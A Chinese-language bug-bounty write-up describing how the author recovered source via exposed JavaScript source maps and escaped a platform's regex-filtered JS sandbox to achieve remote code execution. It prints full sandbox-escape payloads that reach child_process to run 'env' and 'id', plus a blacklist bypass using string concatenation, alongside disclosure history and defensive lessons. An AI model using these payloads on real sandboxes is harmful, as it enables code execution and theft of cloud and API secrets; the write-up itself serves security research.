我是如何在一个流行的JS沙箱中发现严重RCE漏洞

admin 2025-12-30 01:20:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 作者利用SourceMap还原代码,发现某平台JS沙箱存在严重缺陷。通过获取全局对象绕过正则清洗,实现RCE并泄露密钥。厂商仅扩展黑名单修复,被二次绕过。建议生产环境禁用SourceMap,避免自研沙箱或依赖正则,应采用成熟隔离方案。 综合评分: 92 文章分类: 漏洞分析,代码审计,WEB安全,实战经验,渗透测试


cover_image

我是如何在一个流行的 JS 沙箱中发现严重 RCE 漏洞

hai dragon

安全狗的自我修养

2025年12月29日 12:11 湖南

我是如何在一个流行的 JS 沙箱中发现严重 RCE 漏洞的

暴露的 JavaScript Source Map 如何导致沙箱逃逸与远程代码执行(RCE)

官网:http://securitytech.cc/

#


在流行的漏洞赏金项目中寻找真正有价值的安全漏洞,有时候感觉几乎不可能。

所有研究人员都在用同样的方法、测试同样的目标。 那些容易发现的漏洞,往往很快就被挖光了。



但其实,有一个非常简单的小技巧,可以帮你发现新的机会。

改变一切的 Google Dork

("Bug Bounty Program" | ("Vulnerability" & "Reward")) -bugcrowd -hackerone -yeswehack -intigriti -immunefi

再加上 “Past week(过去一周)” 的时间过滤条件。

一瞬间,你看到的就会是: 👉 几乎没人测试过的新项目

正是通过这种方式,一个AI 平台进入了我的视野,成为了下一个目标。


漏洞发现过程(Discovery Story)

这家公司刚刚上线了他们的 漏洞赏金计划。 所有功能都在范围内,完全可以开始测试。

在信息收集阶段,我发现了一个很常见的配置错误: 👉 开启了目录列表(Directory Listing)

大多数目录里并没有什么有价值的内容。 但随后,我注意到了多个 .js.map 文件

什么是 Source Map(源码映射)?

Source Map 是开发阶段使用的文件,用来将压缩/混淆后的 JavaScript 映射回原始源码。

变量名、函数名、注释 —— 👉 开发者写的所有内容都在里面

在生产环境中,这些文件绝对不应该暴露。 但在这里,它们是完全可访问的。


我使用了一个开源工具 sourcemapper,成功还原了原始的 TypeScript 代码:

python sourcemapper.py -o recovered_code https://target.com/static/js/file.js.map

技术深挖(Technical Deep Dive)

还原后的代码中,有一个文件立刻引起了我的警觉:utils.ts

在其中,我发现了一个名为 sandboxedEval 的函数。 它的作用是: 👉 在平台的工作流构建器中,“安全地”执行用户提供的代码。

实现方式存在严重问题

const sanitizeCode = (code: string): string => {
const dangerousPatterns = [
/process\./g,
/require\(/g,
// ... 更多规则
  ];
let sanitizedCode = code;
  dangerousPatterns.forEach((pattern) => {
if (pattern.test(sanitizedCode)) {
thrownewError("Cannot execute code with dangerous patterns");
    }
    sanitizedCode = sanitizedCode.replace(pattern, "/* blocked */");
  });
return sanitizedCode;
};

👉 基于正则的代码清洗从根本上就是不安全的。 👉 这是一个典型的 JavaScript 漏洞温床

但真正致命的问题还在后面:

const func = newFunction(
"sandbox",
`with (sandbox) { return (async function() { ${updatedCode} })(); }`,
);

new Function() + with()? 👉 这是一个教科书级别的沙箱逃逸场景


漏洞利用开发(Exploit Development)

问题变成了: 这个 JS 沙箱,能不能被绕过?

第一步:获取全局对象(global object)

let globalObj = (function () {
returnthis;
})();

在非严格模式下,这段代码会返回全局对象。 👉 第一层防护被突破。


第二步:获取 require 函数

let requireFunc = globalObj.constructor.constructor(
"return this['process']['mainModule']['require']",
)();

这里利用了 JavaScript 的动态特性: Function 构造器创建的函数是在全局作用域执行的。


第三步:执行系统命令

let childProcess = requireFunc('child_process');
let output = childProcess.exe[c]Sync('env').toString();
logFunc(output);

注: exe[c]Sync 这样写是为了符合平台的展示策略, 实际表示命令执行函数。


完整 Exploit Payload

let globalObj = (function() { returnthis; })();
let requireFunc = globalObj.constructor.constructor(
"return this['process']['mainModule']['require']"
)();
let childProcess = requireFunc('child_process');
let output = childProcess.exe[c]Sync('env').toString();
logFunc(output);

影响与验证(Impact & Proof)

当我测试这段代码执行 Payload 时,结果令人震惊。

👉 泄露了 230 多个环境变量:

AWS_ACCESS_KEY_ID=[REDACTED]
AWS_SECRET_ACCESS_KEY=[REDACTED]
GITHUB_ACCESS_TOKEN=ghp_[REDACTED]
OPENAI_API_KEY=sk-[REDACTED]
STRIPE_SECRET_KEY=sk_live_[REDACTED]
POSTGRES_URL=postgres://user:pass@host/db

还有更多: 数据库凭据、API Key、加密密钥、服务 Token……

不是一个理论漏洞

👉 完整的 RCE(远程代码执行)已经实现。

攻击者可以:

  1. 读取所有敏感数据
  2. 执行任意系统命令
  3. 横向移动到其他系统
  4. 部署恶意软件

无论从哪个标准来看,这都是一个严重漏洞(Critical)


负责任披露时间线(Responsible Disclosure)

2025 年 7 月 23 日,我提交了两份报告:

  1. 通过目录列表暴露 JavaScript Source Map【低危】
  2. 通过不安全 JS 沙箱实现 RCE【严重】

当天 CTO 的回复:

“感谢你详尽的报告,并向我们指出这一严重问题。我们已确认该漏洞的严重性……”

漏洞在几天内被修复。


2025 年 9 月 18 日: 我收到了 $2X0 美元 的合并奖励。

当我询问为何严重级别被从 Critical 降为 Medium 时,CTO 解释说:

“我们将这两个漏洞视为依赖关系,没有第一个漏洞,第二个就无法被利用……”

随后,CEO 又补充道:

“关于 RCE 的问题,它与一个被广泛利用的第三方 Java 库零日漏洞有关。”

但这里有一个小问题。

👉 漏洞代码在他们自己的 utils.ts 文件中。 👉 由他们团队编写、维护。


并未真正修复的漏洞(The Unfixed Vulnerability)

几个月后,我再次测试了相同的功能。

所谓的“修复”暴露了一切:

const dangerousPatterns = [
/process\./g,
/require\(/g,
/child_process/g,
/mainModule/g,
/constructor\(/g,
/execSync\(/g,
];

👉 黑名单永远不会真正奏效。

稍作修改,沙箱依然可以逃逸:

let globalObj = (function () {
returnthis;
})();
let requireFunc = globalObj["constructor"]["constructor"](
"return this['process']['main'+'Module']['require']",
)();
let output = requireFunc("child_" + "process")
  ["execSync"]("id")
  .toString();
output = output;

👉 代码执行能力依然存在。 👉 漏洞修复得非常糟糕。


经验与总结(Lessons & Takeaways)

给开发者:

1️⃣ 永远不要在生产环境暴露 Source Map

  • 构建时排除 .map 文件
  • 关闭 Web 服务器目录列表
  • 将 .map 加入 .gitignore

2️⃣ 避免自制 JavaScript 沙箱

  • 使用成熟方案,如 isolated-vm
  • 将不可信代码放在独立容器中
  • 实现真正的进程隔离

3️⃣ 永远不要依赖正则黑名单

  • 使用白名单策略
  • 正确解析与校验
  • 假设攻击者一定能绕过

给安全研究人员:

1️⃣ 主动寻找 Source Map

  • 它们是漏洞金矿
  • 很多公司会忘记移除
  • sourcemapper 非常好用

2️⃣ 深入测试沙箱实现

  • 默认它们是不安全的
  • 重点关注 global 对象
  • 测试原型链污染等向量

3️⃣ 面对奖励失望要坚持

  • 有些公司会淡化你的成果
  • 真正的价值在于学习
  • 把一切记录清楚

结语(Conclusion)

这次经历让我学到了一件重要的事。

安全研究真正的满足感, 不在于奖金金额, 而在于:发现别人忽略的东西,真正理解系统的弱点。

  • 公众号:安全狗的自我修养
  • vx:2207344074
  • http://gitee.com/haidragon
  • http://github.com/haidragon
  • bilibili:haidragonx

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 hai dragon《我是如何在一个流行的 JS 沙箱中发现严重 RCE 漏洞》

OWASP2025年十大漏洞 网络安全文章

OWASP2025年十大漏洞

文章总结: OWASP发布2025年十大Web应用安全风险,更新了排名以反映现代威胁。新增软件供应链风险和异常处理不当两个类别,访问控制失效、安全配置错误、加密
评论:0   参与:  0